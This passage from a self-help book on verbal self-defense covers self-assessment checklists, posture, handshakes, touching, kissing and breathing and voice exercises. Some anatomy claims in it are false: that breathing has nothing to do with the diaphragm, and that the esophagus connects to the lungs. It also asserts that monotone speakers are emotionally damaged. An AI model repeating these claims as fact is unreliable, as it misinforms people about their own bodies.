About Face!
Often your facial expressions reflect your feelings more than the words you use. Even though our six basic
emotions—happiness, sadness, anger, disgust, surprise, and fear—are reflected through the face, sometimes we
may make inappropriate facial gestures, which confuse the listener and detract from the message we are trying
to relay.
An exaggerated facial expression can change your facial appearance from attractive to ugly. For example, one
noted singer looks very attractive when she sings. When she speaks, however, it is a different story. It is rather
disconcerting. Her mouth goes from side to side in a camel-like fashion. In addition to her rapid-fire, hostilesounding
speech pattern, she squints her eyes and furrows her brow, which is perceived as anger and disgust.
This particular woman is interested in making the transition from singing to acting. But she has a lot of work to
do in terms of controlling and modifying her inappropriate and unaesthetic facial expressions before she hits
the big screen (or the little screen, for that matter).
When you wear an incongruous facial expression, people get angry or turned off with you and perceive you as
being “weird” or “disconnected” or “not with it.” They may also misinterpret your message, as in the case of
this successful singer.
As you observe yourself in the mirror or on videotape, answer these questions while paying attention to your
facial expressions:
1. Do you mainly seem to have a dull or bored expression when you speak?
2. Do you look angry when you speak, even though you aren't?
3. Do you look sad when you speak, even when you are talking about pleasant things?

Page 73
4. Is your normal facial expression tense with your muscles showing when you speak?
If you answered “yes” to any of these questions, help is on the way in Chapter 6. Since the eyes and mouth are
key elements of your facial language, go back and answer the questions “yes” or “no” as they pertain to your
eyes and mouth.
Eye Deal
For centuries people have said, “the eyes are the windows to the soul.” Therefore, people can tell a lot about
how to deal with you by observing what you do with your eyes.
1. Do you often squint when you speak—furrowing your forehead or knitting your eyebrows together?
2. Do you often open your eyes widely when you speak?
3. Do you look off to the side when speaking?
4. Do your eyes dart around the room when speaking?
5. Do you look people up and down when you talk to them?
6. Are your eyes dull and lifeless?
7. Do you stare?
8. Do you blink too much?
Is Your Mouth Goin' South?
If you don't observe these behaviors in the mirror or on your video, try to recall if you exhibit any of these
actions:
1. Do you usually speak jutting your jaw forward, creating an angry look?
2. Do you move your mouth from side to side when you speak?
3. Do you avoid looking at people when you speak to them?
Page 74
4. Are your lips tense or do you have a strained, pinched smile?
5. Do you have a mask-like smile?
6. Do you curl your upper lip when you speak?
7. Do you hang your mouth open or even drool when listening?
8. Do you spray saliva when speaking?
9. Is there spittle on the corners of your mouth when you speak?
10. Do you clench your jaw when you speak or speak through your teeth, barely opening you mouth?
11. Do you often bite your lips or cheeks?
12. Do you exaggerate your mouth movements when you speak, giving the perception that you have a big
mouth?
13. Do you purse your lips together before or after you make a statement?
14. Do you smack your lips before or after you speak?
Air Born
Believe it or not, the way you breathe can annoy others. If you don't coordinate your breathing with your
talking in an appropriate manner, it may disturb and distract the listener.
1. Do you sound breathy when you speak?
2. Are you out of breath after you speak?
3. Do you take in many little breaths when you speak?
4. Do you sigh, or let out all your air before you speak?
5. Do you sigh, taking in air and abruptly pushing it out when you speak?
Ouch! My Ears Hurt Listening to You!
Research has shown that the way you speak is even more important than the way you look. In fact, the way you
speak can affect how you look. Perhaps you have experienced this firsthand. At least once, you have probably
seen someone who you found attractive, then, after speaking with that person, suddenly decided that he or she
wasn't as attractive as you originally thought. Conversely, as research shows, if a person isn't very attractive but
speaks well, that person is perceived as being more attractive.
Page 75
The way you speak is composed of the pitch of your voice, the quality of your sound, the way you pronounce
things, whether you sound too soft or too loud, how fast you speak, how nasal or non-nasal you are, and how
you communicate. If you answer “yes” in any of the questions in the following categories, you should know
that people are usually not perceiving you in the best light. Just know, however, that your ill-judged talking
traits can be fixed in Chapter 6.
Pitching Your Voice
1. Is your voice too high?
2. Is your voice too low?
3. Do you sound bored or monotonous?
4. Is your speech overly animated or highly dramatic?
5. Are people usually bored or lulled to sleep when you speak?
6. Do you have a squeaky voice?
It's Quality We're After!
1. Does your voice sound breathy?
2. Does your voice sound harsh?
3. Do you attack your sounds when you speak?
4. Do you have a staccato, clipped, machine-gun like pattern when you speak?
5. Do you dislike the sound of your voice?
6. Does your voice sound creaky or crackling, often at the end of sentences?
7. Do you clear your throat before you speak?
8. Is your voice rough and gravely?
9. Does your voice often sound hoarse?

Page 76
Twisting Your Tongue
1. Are you often asked to repeat what you said?
2. Do you often mispronounce words?
3. Do you mumble?
4. Do you repeat sounds, especially at the beginning of words?
5. Do you mispronounce s, z, ch, j, or sh sounds?
6. Do you mispronounce r or l sounds?
7. Do you distort your vowels?
8. Do people often ask you to repeat what you've said due to your accent?
Pump Up the Volume! Drown the Sound!
1. Is your voice loud and booming?
2. Is your voice too soft, prompting people to ask you to speak up?
3. Does your voice fade out at the end of sentences?
4. Do you have bursts of loudness, especially at the beginning of a sentence?
5. Do you have a loud and disturbing laugh?
6. Do you raise your voice at the slightest provocation or when you disagree?
How Fast Were You Going?
1. Do you speak too quickly, so that people ask you to repeat yourself?
2. Do you sound slow and lethargic?
3. Do you pause too long when starting a new thought?
4. Do you not stop after finishing a thought, immediately going on to the next?
The Nose Knows.
1. Do you sound nasal and whiny where there is a vibration or twang in your nose when you speak?
2. Do you sound stuffed up most of the time, as though you have a cold?
Are You Talking to Me?
1. Do you repeat yourself?
2. Do you repeat words?
3. Do you often find that you can't think of words?

Page 77
4. Do you say one thing and mean another?
5. Is it hard to express what you think?
6. Do you often keep your mouth shut for fear of sounding stupid?
7. Do you often say “I don't know” when asked questions?
8. Is your vocabulary limited and do you not understand the meanings of words?
9. Do you often use words in the wrong context?
10. Do you use improper grammar?
11. Do you always seem to forget what you were going to say?
12. Do you often interrupt others, not allowing them to finish a thought?
13. Do you change the topic midstream?
14. Do you often ignore a question, dismissing the topic someone else brings up?
15. Do you often say self-deprecating things to others?
16. Are you usually saying something negative, especially about others?
17. Do you often put your foot in your mouth?
18. Do you joke around, never serious, or make sarcastic comments?
19. Are you blunt and undiplomatic?
20. Do you usually give one-word responses instead of opening up?
21. Are you overly opinionated—“my way or the highway”?
Page 79
Chapter 6
Gaining the Physical Edge
When you fix yourself on the outside, the inside usually follows. I have seen this repeatedly in my private
practice. While serving as a communication specialist in my Beverly Hills and Manhattan offices, I discovered
that when people learn how to properly comport themselves, they feel more powerful and self-assured. This
newfound sense of confidence gives people the ability to function more effectively and live a fuller and richer
life, with better relationships in business and private life.
In this chapter, you learn exactly what it takes to present yourself to others so you'll be perceived as a
formidable individual. You might even become intimidating to your verbal opponent: you will exude a blinding
presence and a newfound sense of self-confidence, which in turn will boost your self-esteem. When your
opponents experience your powerful presence, they will often think twice before verbally attacking you.
Knowing the actual steps of how to improve the components of your total physical being allows you to win the
verbal war and annihilate your opponent.
Page 80
Postural Defense—Staking Out Your Presence
Because your posture is one of the first things people notice about you, you obviously need to stand up straight.
Many people think they are standing up straight when in fact they aren't; you might have noticed your own
poor posture when analyzing yourself in the mirror or on videotape. This problem is most common with people
who are taller than average. They usually stoop to be at eye level with their shorter counterparts.
If people do this during their formative years of height development, hunching their backs, stooping their
shoulders, and bowing their heads can become their normal stance. As we discussed in Chapter 5, this stance
elicits less confidence in others than standing with shoulders squared, back erect, and head up.
You must follow several steps if you wish to have a posture that exudes confidence and a “don't mess with me”
attitude. By adhering to the following steps, you are well on your way towards looking more powerful when
you are standing in front of someone.
1.
Stand Up Straight, Without a Leg Up!
Stand up straight with your feet spread apart, parallel to your shoulders. Place both feet firmly on the ground so
that your weight is distributed evenly on all parts of your feet. This takes pressure off your toes and the sides
and balls of your feet. In essence, you are firmly standing on the soles of your feet. Don't shift your weight
from leg to leg or shift your weight to only one leg. This throws you off and makes you feel insecure. You want
a “leg up” on your verbally toxic opponent, but don't take this statement literally.
Unless you're flamingo living in Miami, never stand on one leg. You'd be surprised

Page 81
at how many public speakers do this when they are behind a podium. They put their weight on one leg while
holding onto the podium—and they wonder why they don't feel as confident when they are speaking in front of
an audience!
2.
Bottoms Up!
Tighten the muscles in your buttocks (your gluteus maximus muscles) by contracting or squeezing your
muscles, thus applying pressure to your buttocks. At first this might feel awkward, but eventually you will
become used to it and over time, you will begin to feel comfortable. As you exercise and strengthen these
muscles, you will have a solid foundation on which to support your erect spine and newfound confident
posture.
3.
Straighten Up and Back Up!
Next, start at the base of your spine and visualize yourself straightening each vertebrae so that you have a
straight and aligned spine. As you visualize your new correct spinal posture, slightly tighten the small muscles
going from your lower back towards your upper back. When doing so, you will notice that there is a forward
shifting of your upper back that will begin from the middle of your back, around your waist area. This too
might seem awkward at first, but as you practice this spinal position, you will feel less pressure in the muscles
in your upper and lower back region because your spine will be in better alignment.
4.
Heads Up!
Part of attaining a confident posture requires the correct positioning of the head and neck. Pretend that there is
a cord or rope softly pulling up the crown of your head. This will automatically allow your eyes to be
positioned properly as you gaze at another person at “eye level.” It prevents you from protruding your jaw or
sticking your neck out. Most of all, it keeps you from bowing your head or from looking down when speaking
to someone.
Walk Up!
The way you walk is a vital component of the way you comport yourself. Some have angry, aggressive walks
that scream “Here I am” or “Get out of my way.” Others walk in a way that says “Just ignore me” or “I'm not
important.” Some people have a happy bounce, skip, or gallop in their gait, while others seem to shuffle,
waddle, and drag themselves along. The only walk that screams “C-O-N-F-I-D-E-N-C-E” consists of the
following steps.
Page 82
1. Begin with an erect posture, head up, shoulders back, and spine straight.
2. Place one foot directly in front of the other at a comfortable distance so that you have a smooth and even
stride. Even though this may seem obvious and elementary to you, you would be surprised at how many people
don't do this and end up waddling, shuffling, or slinking along.
3. Walk at an even and steady pace—not too fast and not too slowly.
4. Finally, let your arms move freely and swing naturally as you walk.
Sit Up!
Just as it is important to stand properly, it is equally important to sit in a way that exudes self-confidence. The
way you sit in a chair speaks volumes about you, whether you realize it or not. Here are the steps you should
follow to make sure this happens.
1. Stand directly in front of your chair.
2. Let your calves touch the seat of the chair.
3. Bend over, placing your buttocks all the way back in the chair.
4. Sit and lean your back against the back of the chair. By placing your buttocks all the way back in the chair
first, your spine will straighten out automatically as it rests against the back of the chair. Doing this also
prevents you from slouching.
5. Roll your shoulders back and relax your arms, either resting them on the arms of the chair or placing your
hands in your lap.
6. Keep your head up. Visualize a string holding up the crown of your head, just as you did while you were
standing. Once again, this keeps your eyes focused at the eye level of the person opposite you.
7. If you feel yourself retreating to your old slouching ways, just remember to push your buttocks all the way
back in the chair. Lean against the back of the chair and remember to keep the crown of your head up.
Uptight? Lighten Up!
A rigid body posture signifies that a person is uptight, frightened, uncomfortable, nervous, or inflexible. Under
certain circumstances, individuals need to be inflexible and follow a rigid code of behavior. But while the order
“head up, shoulders back, chest out” works well if you are in the military, it doesn't work in real-life
circumstances.
Even when you stand up straight with your shoulders back, you need to maintain a relaxed demeanor. The
following shoulder roll exercise is designed to help you release tension in your shoulder region and arms.
Page 83
1. First, rotate the right shoulder forward, and keep it in that position for approximately three seconds.
2. Keeping your right shoulder in that position, rotate the left shoulder forward for three seconds.
3. Now that both of your shoulders are forward, keep them in this position for about three seconds. Feel the
muscles stretch as you maintain this position. It should feel good.
4. Next, rotate the left shoulder back and keep it in that position for three seconds.
5. Likewise, rotate the right shoulder back, keeping it in that position for three seconds.
6. Now that both shoulders are back, leave them there for three seconds, all the while feeling the stretch. This
too, should feel good.
7. Rotate both shoulders forward and both shoulders backwards. Try not to rotate them too far back, and relax
them.
Now your shoulders are in the proper position to help you maintain a good posture.
Up in Arms!
Your arms should hang at your sides in a relaxed fashion. Although arm and hand gestures are essential for
helping you emphasize thoughts or ideas, too much movement can be distracting: arms flapping like a
chicken's wings and fidgeting with your hands and fingers tend to diminish your total image. As I pointed out
in Chapter 5, people perceive you according to the way you comport yourself. Thus, if you move your arms
excessively and this isn't typical for your culture, you may be perceived as being anxious, uncomfortable, or
even angry or out of control.
Hands Up!
To maintain some control over your gestures, be conscious of your gesturing, and do so only to emphasize key
points or ideas. In doing this, it is important to make definite and deliberate hand movements. When you speak,
keep your hands in your lap or relaxed at your sides, with your fingers relaxed. Doing this tends to relax the
rest of your body.
Of course, this doesn't mean you should sit totally motionless. But the motions you do use should be relaxed.
When you use both your hands and arms in a more fluid and open fashion, you are perceived as being warmer
and more approachable.

Page 84
If you notice that you are using your hands too frequently when you speak, try to be mindful and stop or reduce
your hand movements. Being conscious of doing something to excess can often help you modify that behavior.
If you still don't know what to do with your hands, adopt the hand posture of the royals, who tend to keep their
hands clasped in back of them when they stand or walk. Doing this often suggests to others a sense of security,
control, and self-assuredness.
Shake Up!
You can tell a great deal about people by how they shake your hand. In addition, your handshake can reveal
your true feelings about the other person. The looser and less firm your handshake, the more you will be
perceived as weak, timid, or tentative. All too many men, especially large men, use a soft and wimpy
handshake in an attempt to minimize themselves and not appear so threatening. The other extreme, a handshake
that is too strong or tight, might express the attempt to dominate in the interaction and compete for control.
On the other hand (no pun intended), a firm handshake, lasting about three seconds, indicates self-confidence,
especially when you meet a person for the very first time. In order to shake hands with self-assurance, follow
these steps:
1. Be the first one to extend your hand. Do so enthusiastically.
2. Clasp the others person's palm firmly with your palm so that both of your palms are touching one another.
3. Look directly at the person's face using the “face contact” approach discussed later in this chapter.
4. Give their hand about three firm shakes.
5. Then release your grip.
If you really like the person, especially after you meet and get to know one another, you can convey positive
feelings toward the other person by using the “cupping
Page 85
shake.” For this handshake, cup the other person's hand in both your hands, while placing your left hand over
your right hand.
Touch Up!
Ashley Montagu and other researchers and scholars have found that we humans need to be touched to
adequately survive in the world. In light of sexual harassment suits these days, however, people must be careful
about whom they touch, how they touch, and where they touch someone. A seemingly innocent touch may land
you in a courtroom. Sexual harassment suits aside, touching another person is a positive gesture—it shows
others that you have bonded or connected with them.
Although some people (most likely those who suffer from some type of psychological disturbance) shun being
touched and touching others, research shows that most people enjoy touching and being touched, and they react
better to those who touch them than to those who don't.
Touching can break down barriers between people, especially if tension exists. Here are some rules to follow
when touching someone.
1. Never touch anyone who appears by his facial and body language cues not to welcome your touch.
2. Pay attention to how often you touch someone. Touching a person too much is as disturbing to that person as
not touching at all. Once again, monitor facial expressions to determine if your touching is becoming annoying
to the other person.
3. In business situations, touch people only at the level of the shoulders—never below the shoulders or lower
back.
4. In social or personal situations, feel free to touch a person's face, arms, waist, and wherever else you both
agree is acceptable.
Page 86
Face Up!
Remember how when you were growing up, you were told that you should look into a person's eyes when you
talk to him? You were told that only honest people can look you in the eye.
This is nonsense. In reality, research has shown that people who constantly look you in the eye without
breaking their gaze might not be very honest at all; in fact, they might be lying to you.
You don't need to gaze directly into a person's eyes when you speak to her (unless of course you are in love
with her). Doing so can be disconcerting and might indicate that you are taking a hostile or adversarial position
against the person.
What you need is not just eye contact but “face contact.” If you don't look at the person's entire face along with
specific components of the face, how are you going to read all the facial cues of your verbal adversary or
potentially toxic opponent?
In order to give someone the impression that she has your undivided attention, follow these steps religiously:
1. Look at the person's entire face for approximately two seconds.
2. Next, look at the person's eyes for approximately two seconds.
3. Switch your gaze over to her nose and look at it for two seconds.
4. Now look at the person's mouth for two seconds.
5. Go back to step 1 and look at the person's entire face for approximately two seconds, continuing on to steps
2 to 4.
You need to repeat these steps for as long as you are speaking and listening to the person in front of you.
People will not think you look weird as they notice you looking at their eyes, then their nose, mouth, and entire
face. They won't even notice what you are doing. First, it's only a two-second glance on each of the facial
components. Second, the distance
Page 87
from their eyes to their nose to their lips is minimal. It's not a huge football field you are looking at; it's a
person's little face.
Most likely, in fact, people will perceive you as being really interested in them and in what they are saying.
This technique also tends to soften your gaze, which makes you appear more approachable, more
compassionate, and less intense.
Charming, Disarming Smile.
We have all heard the expression “a smile speaks a thousand words.” It's true. A smile can often disarm the
most verbally belligerent person. Don't be afraid to be the first to smile at the other person. And don't be put off
if they don't return your smile. Many people are so self-consumed or preoccupied that they will not notice you
or your smile.
Don't be reactive to others, just smile sincerely. If you think of all the wonderful things in your life, the people
who really love you and the people whom you really love, you will always have a true and radiant smile; your
eyes will sparkle.
Oftentimes you can use a smile to defuse a verbal zinger that you will have to retort. Somehow, a smile makes
what you are saying a lot less biting and stinging, but also more memorable.
The incongruity of your unpleasant, but strong, words and your soft and pleasant facial expression might throw
your opponent off balance.
Kissin' Up!
In this age of sexual harassment suits, you should think twice about whom you kiss hello or goodbye. Like the
cupped handshake mentioned earlier in this chapter, a kiss—especially a final kiss after a wonderful
interaction—cements a bond and expresses what a special interaction it was. In film, television, or other parts
of the entertainment business, kissing or hugging someone hello or goodbye is the norm. With so many fragile
egos and insecurities, and sad feelings due to constant rejection, hugging and kissing help show biz people feel
good about themselves and closer to the person they are hugging and or kissing.
Many people outside the entertainment industry, however, don't know how to kiss or don't feel comfortable
kissing others as a hello or good-by greeting. These kisses are not as serious as sticking your tongue down a
person's throat. But they're more than a boring flat-lipped light touch of the cheek or the phony socialite “air
kiss.” This is not kissing. A kiss is when you pucker up and actually place your lips on a person's cheek or lips,
create suction, and then release the suction a few seconds later. It may seem ridiculous that I am teaching you
how to kiss someone hello or goodbye, but how you kiss someone can either charm them or disarm them.
Page 88
It's very hard not to let down your guard toward an adversary who comes up to you and kisses you. You might
even end up liking them. Try doing this after a tense conversation or a heated discussion. Give them a buss on
the cheek or a hug, and watch what happens as their tense body and angry face relax.
This is an excellent and very powerful technique to use in the following situations:
• You know someone dislikes you for no good reason that you can think of.
• They're jealous of you.
• You have just been in an adversarial conversation or heated discussion.
You can't help but smile afterwards as you see how love and your positive attitude can diffuse the most
negative energy. That is power! That power contributes to your self-esteem, which in turn translates into selfconfidence.
Slipping Up or Messing Up? It All Adds Up and You End Up…!
You should always be conscious of how you come across. You can't slip up on the little things or you will
certainly mess up everything. Mindfulness is the key. You need to maintain a constant vigil in terms of what
you are doing.
Everything adds up if you want to have the physical advantage over your opponent. You need to have every
component of your physical being working in your favor. Not even one part can be missing. You always need
to be conscious of how you stand, sit, walk, hold your head, look at people, shake their hands, and how you
touch or even kiss them. If you ignore any of these components, you are giving your opponent more of an
upper hand in the war of the words.
Step away from yourself consistently and pretend that you are observing yourself outside of your body or from
above. You can even imagine that there is an angel hovering over you, watching every move you make. Doing
this visualization will make you more conscious of your behavior and comportment and its effect upon others.
Page 89
Page 91
Chapter 7
Gaining the Verbal Advantage
You're at a party. You spot a gorgeous woman or man at the other end of the room. With every ounce of
courage you can muster, you coolly saunter over and flash your radiant smile. Your heart beats wildly, your
head pounding like an African drum. You confidently stick out your hand and introduce yourself. The person
reciprocates with a handshake and an introduction, saying “Hi, I'm ___.” The moment you hear “Hi, I'm ___,”
you don't care who they are. You don't want to know. Your ears are deafened by a high-pitched, sickening tone
that shocks you right back into reality, with your pulse rate returning to normal.
The way a person sounds says it all. Research in psycho-social perception shows that people judge you more
by the way you speak than by the way you look. In fact, people who sound good are judged to be more
intelligent, sexually exciting, and successful, and less likely to commit a crime than their poor-sounding
counterparts.
Those who have poor speaking voices are perceived as weak, defenseless, less intelligent, and more victim-like
than those who don't have this voice.
Research in criminal justice indicates that if one walks like a victim, one is more likely to be victimized. The
same holds true for talking. If one sounds like a victim, one is more likely to be victimized in one's personal
and social life. To verbally defend yourself and have the maximum effect on your verbally abusive opponent,
you have to speak in confident and audible tones.
Page 92
To speak in confident powerful tones to convey your points effectively, you must use your speaking
mechanism properly. This mechanism consists of breathing, voice-producing, and speech and pronunciation
mechanisms. This chapter will show you how to use these mechanisms to converse with others effectively. You
will then learn how to incorporate your new-found speaking skills into confident conversation. Finally, you
will learn how to start, maintain, and end a conversation with grace and aplomb.
Defensive Breathing.
Did you ever wonder how the world's greatest singers such as Barbra Streisand or Luciano Pavarotti are able to
hold those powerful tones for such a long time and still continue to sing so effortlessly? Did you ever watch a
pregnant woman use the Lamaze Technique, using her controlled and repeated forceful mouth breathing to
cope with the pain of childbirth? Have you ever heard the loud gut-level grunt when a professional tennis
player serves a ball or a weight lifter lifts the barbell over his head?
Have you ever become completely mesmerized by a professional speaker, unaware that her melodic and
effortlessly flowing tones were responsible for your added interest in what she was saying? How they breathe
allows the professional singer to hold that note, the mother to deliver the baby, the athlete to hit the ball or lift
the weight, and the speaker's information to glide smoothly into your ears.
Most of us take our breathing for granted. We just know that without it we are dead. It is during times of
extreme excitement or stress, however, that we become conscious of how we breathe.
When we are nervous—or, more commonly, when we don't know how to breathe properly—several things can
happen.
1. Our inability to focus and think calmly is impaired.
2. We begin to gasp for air because we have difficulty catching our breath as we speak, causing our opponent
to perceive us as uncontrolled and desperate.
3. Without proper breath control, our voice sounds shaky and tremulous, giving our adversaries ammunition to
perceive us as nervous, tentative, or unsure.
4. Finally, improper breath control can maintain or escalate increased heart rate and blood flow, which can
affect the overall status of your health.
The following section on breathing will show you how to breathe to calm down and gain control of your inner
being, your listening, and your talking.

Page 93
If you don't breathe properly the following things may happen:
• You may have trouble focusing and concentrating.
• You may be perceived as sounding desperate.
• You may be perceived as sounding nervous or tentative.
• Your heart rate may increase, thereby placing you in a more agitated state.
Relaxation Breathing: In—Hold—Out Control!
The Relaxation Breathing Technique is the backbone for all other breathing techniques.
These are the three basic steps for relaxation breathing:
1. Through your mouth only, sip in air for two seconds.
2. Next, hold the breath of air for three seconds without breathing.
3. Finally, exhale the breath of air through your mouth slowly and deliberately for five seconds.
While doing this exercise, you must never move your upper chest when inhaling, and your shoulders must be
down, not raised or hunched. All of the movement—the sipping in of air, the holding of the air, and the release
of air through exhalation—must take place in the abdominal region. Why? The abdominal area is where we use
our muscles to breathe naturally. In fact, if you observe a dog, cat, or small child, you will clearly see that their
abdominal area goes in and out as they breathe. A popular but erroneous idea, passed down from singing
teacher to singing teacher, is that breathing takes place in our diaphragm. This is not so. The diaphragm is a
thin tissue under the lungs that separates the lungs from the stomach and intestines. Whenever you hear
someone tell you that you need to breathe from your diaphragm, you will now know that they really mean the
abdominal region.
Page 94
Mind-Clearing Breaths
One of the principles in the martial art of Aikido is called mushi, a clearing of the mind.
Aikido trains martial artists to gain control mentally over their opponent by clearing their mind of anger. It
allows them to clearly assess the situation and the dangers involved and react accordingly. In fact, breath
control has been used by ancient yogis as a key to inner peace and tranquility, helping them clear their minds of
any negative thought, and allowing them to achieve a higher level of consciousness.
The Relaxation Breathing Technique is essential in clearing the mind and getting rid of anger or “toxic
thoughts.” What happens when we get nervous or anxious or think about all the people and situations that have
made us miserable? We keep taking in shallow little breaths of air that we don't release as frequently as we do
when we are not tense. This leads to a build-up of carbon dioxide, which increases anxiety, often producing
headaches and light-headedness.
The Relaxation Breathing Technique can be used to clear and focus the mind. Even if only for a few moments,
it allows you to have a sort of “mental vacation.” Using the principles of the Relaxation Breathing Technique,
you will notice that your entire world stops for the three seconds that you hold your breath. It seems as though
you are suspended in time and space, which in essence breaks your thought cycle. After doing this exercise for
a series of ten times, you will find, as many of my clients have found, that you feel refreshed, re-energized, and
clear-headed.
Listening Through Breathing
Because your mind is clearer after doing this breathing technique, it allows you to focus on sight and sounds
around you. The next time you are listening to someone speak, take a small (not obvious) sip of air for two
seconds. As you sip in the air, sip in the word they are saying. As you hold your breath for three seconds, allow
what they said to resonate as you digest and clearly process what they said. As you slowly let the air out of
your mouth, you'll become more focused than ever before on what they said. The more you practice this
technique, the better your listening skills will become.
Page 95
Marrying Your Breathing with Your Talking
To speak properly and have good vocal tones, you must sip in air through your mouth (not your nose, since you
breathe through your nose only when you are listening), hold it for a second or so, and then speak on the
exhalation. It is essential to flow out your tones. To coordinate your breathing with your talking, you must
follow the principles of the Relaxation Breathing Technique. However, instead of exhaling air, exhale while
saying the ha sound for as long as you can.
Vocal Defense
As we noted earlier, Galen, the ancient Greek philosopher, once said that it is the voice, not the eyes, that is the
mirror to the soul. When you have an appealing sound to your voice, the whole world opens up to you. Thus
your voice is one of your greatest weapons in the art of verbal self defense.
Unfortunately, many people do not possess pleasant sounding voices. In fact, most voices are rather annoying.
Studies have determined that if we listen to annoying voices over a period of time, we either become irritable
and agitated or we tune out what is being said. This obviously puts you at a disadvantage if you plan to verbally
defend yourself with a voice that sounds too soft, too harsh, too loud, too high, or too boring.
This section gives you techniques to effectively remedy these vocal ailments. Before you set forth to improve
any vocal problems, however, you must be conscious of factors that might harm your voice. Following is a list
of pointers that can contribute to a healthy voice box and a strong and confident sounding voice.
Your Most Overlooked Organ—Your Voice Box.
Most of us hardly ever think about our voice box, unless we read about a major singer who can no longer sing
or speak because she has injured hers.
Your voice box consists of a little muscle the size of an adult thumbnail. It looks like an inverted V, covered
with a layer called a mucous membrane.
The V shape is formed by two separate muscles located side by side and facing one another. They open and
close, depending on whether you are talking. When you listen and are silent, this V is supposed to be open; it is
connected to a tube, the esophagus, which branches out and connects to the lungs. When the V is open you can
inhale and exhale. If the V is closed when you are silent, you will most likely turn blue, pass out, or even die.
When you talk, you speak on the air when you are exhaling. You cannot speak when you are inhaling. The V
closes and the muscle vibrates. That is how you make audible tones. The muscles come together and touch in
the middle of the V in order to create pleasant and clear speech.
Page 96
If you use your voice improperly by overly pushing on this muscle when you speak, you produce a hoarse
sound. If the muscle swells—for example, when you have a cold—you also sound hoarse, as the two sides of
the muscle have trouble coming together and vibrating. If you push these muscles too hard over a long period
of time or you put too much pressure on the top part of the muscle when you speak, you will also sound hoarse
or raspy. This is cause by two calluses, or nodes, that grow on the top of the muscle. When an actor or singer
overstrains her muscle continuously, she develops these nodes and has difficulty singing and speaking.
Non-actors and non-speakers who talk a lot also develop this problem. Even children develop these nodes if
they scream and yell a lot.
Additionally, if one of the vocal cords is paralyzed due to trauma or stroke, the voice may sound very breathy,
and it may be difficult to make oneself understood. If you apply constant pressure to your voice box by
speaking on the lower end of the V, you may develop what is known as contact ulcers.
A speech therapist or speech pathologist who specializes in voice therapy can usually help you. Before you
engage in speech therapy, you must ask the therapist if her specialty is voice therapy and how many voice cases
she has seen over the past year. If she has seen fewer than 50 cases throughout the year, or does not have a
master's or Ph.D. in speech pathology or speech and hearing sciences, and is not licensed by the state, don't see
her!
If therapy doesn't help, you may need surgery to remove these growths on your vocal cords and additional
voice therapy to learn how to properly use your voice so growths don't appear again. Coming up, you learn
how to care for your voice and how to use it properly, so that you don't have any problems.

Page 97
The following list gives some rules to follow so you don't damage your voice. The next section of this chapter
helps you remedy any speech and voice problems you might have.
Rules for Vocal Health:
• No smoking
• No drugs (except prescription)
• No alcohol
• Don't sleep with your mouth open
• Don't yell or scream
• Don't talk over loud noise
• Don't clear your throat
• Don't talk too loud
• Don't talk too much
• Limit consumption of dairy products
• Use throat lozenges whenever needed
• Drink lots of water
• Avoid spicy foods
Speak—Don't Squeak!
If you wish to lower the pitch of your voice, take a small sip of air through your mouth, hold it, bear down on
your stomach muscles, like you are going to the bathroom, and speak. You will be surprised at how much
lower the pitch of your voice will sound.
Over 60 percent of Gallup Poll respondents found a high-pitched voice to be one of the most annoying speech
habits. To ensure a clearer, richer, deeper, and confident sounding voice, bear down on your abdominal
muscles while opening up the back of your throat muscles while you speak. You'll learn this next.
Yawning—Opening Up the Throat for a Smooth Voice
To have a rich and resonant voice, it is essential to open the back of your throat as though you were yawning.
Try this as you sip in a breath of air. Hold the air for two seconds, open up the back muscles of your throat, and
slowly and gently say the ha
Page 98
sound for as long as you can. This exercise is also very helpful for those who have rough and gravely voices or
who suffer from vocal nodes, because it encourages the voice to flow smoothly through the exhaled air stream.
This exercise can also help to soften a harsh voice.
I Can't Hear You!
According to a Gallup Poll I commissioned to determine the most annoying speech habits, nearly 75 percent of
respondents stated that they were frustrated by a voice that is too soft or can't be heard. In order to project your
voice so that you can be heard, you must use your abdominal muscles to anchor your tones. Therefore, when
you speak you must put pressure on your larger and stronger abdominal muscles, not on your smaller and
weaker throat muscles. A good exercise for using these larger muscles is to place your hand on your abdomen
while repeating “yes, yes, yes” three times. You should feel a slight pressure on your abdomen as it moves
downward when you speak. In order to project your voice, you need to bear down on your abdominal muscles
as you speak. This increases the volume of your voice so that you can be heard.
Gallup Poll Results of the Most Annoying Speech Habits
Habit Annoyed Not Annoyed Don't Know
Interrupting 88 11 1
Swear words or cursing 84 15 1
Mumbling, talking too softly 80 20 0
Talking too loudly 73 26 1
Monotonous, boring voice 73 26 1
Fillers “um,” “like um,” “you know” 69 29 2
Nasal whine 67 29 4
Talking too fast 66 34 0
Poor grammar, mispronouncing words 63 36 1
High-pitched voice 61 37 2
Foreign accent 24 75 1
Stop Turning Me Off!
Besides the sound of your voice, your arsenal must include knowledge of the other major speaking turn-offs
discussed later in this chapter. They are monotonous, boring
Page 99
speech, a nasally whine, a too-loud voice, talking too fast, and mispronouncing words. You will also learn how
to avoid undesirable and unattractive habits when you are speaking or listening. In this section, I address these
issues and show you how to rectify any problems you might have in these areas.
Stop Putting Me to Sleep with Your Boring Voice!
There is nothing more disturbing than to be excited about something you have done, share it with another
person, and have that person drone on in a boring monotonous tone how happy she is for you. It feels as though
she took the wind out of your sails. She has completely turned you off.
In fact, a Gallup Poll revealed that close to 75 percent of individuals are turned off by people who have no life
in their voices. People who speak in a dead voice are emotionally dead. They are not in touch with their
emotions, often because they suffered some emotional trauma, repression, or early childhood conditioning.
Therefore, if you have a monotone voice I strongly recommend that you consult with a psychologist who can
help you uncover and deal with underlying emotional issues.
Physical exercises can also help you reduce your monotonous drone. Make an “ah” sound as you express the
following ten emotions, while you think back to an event in your life where you experienced these emotions:
• sadness
• surprise
• anger
• happiness
• fear
• disgust
• sympathy
• love
• doubt
• boredom
All of you “ah” sounds should sound different, some inflecting upward (for example, surprise, doubt, and
happiness) and others inflecting downward (disgust, love, and sympathy). Singing also helps you develop your
muscles so that your tones move up and down more readily.
I have recently recorded two CDs. Until this experience, I had never sung in my life, except when I was alone
in the bathtub or shower. But those who have listened to the CD have unanimously said they were impressed
by the quality and sound of my voice. This is the result of all my years as a voice and communication coach
and the exercises I did together with my clients, exercises that strengthened my vocal cords.
Page 100
By listening to my tapes or CDs, you too can hear the results of doing the speech and vocal exercises
throughout this chapter. Singing along with the lyrics provided will certainly help you improve the quality of
your own voice.
Whining No More
According to a Gallup Poll, 70 percent find whining annoying; it rates as one of the top five annoying talking
habits.
With the exception of those who have a physical abnormality such as a cleft palate or a neurological condition,
most of the nasal tones you hear are due to people not opening their jaws wide enough when they speak. In
essence, they tend to clench their jaws, which makes them talk through their nose instead of through their
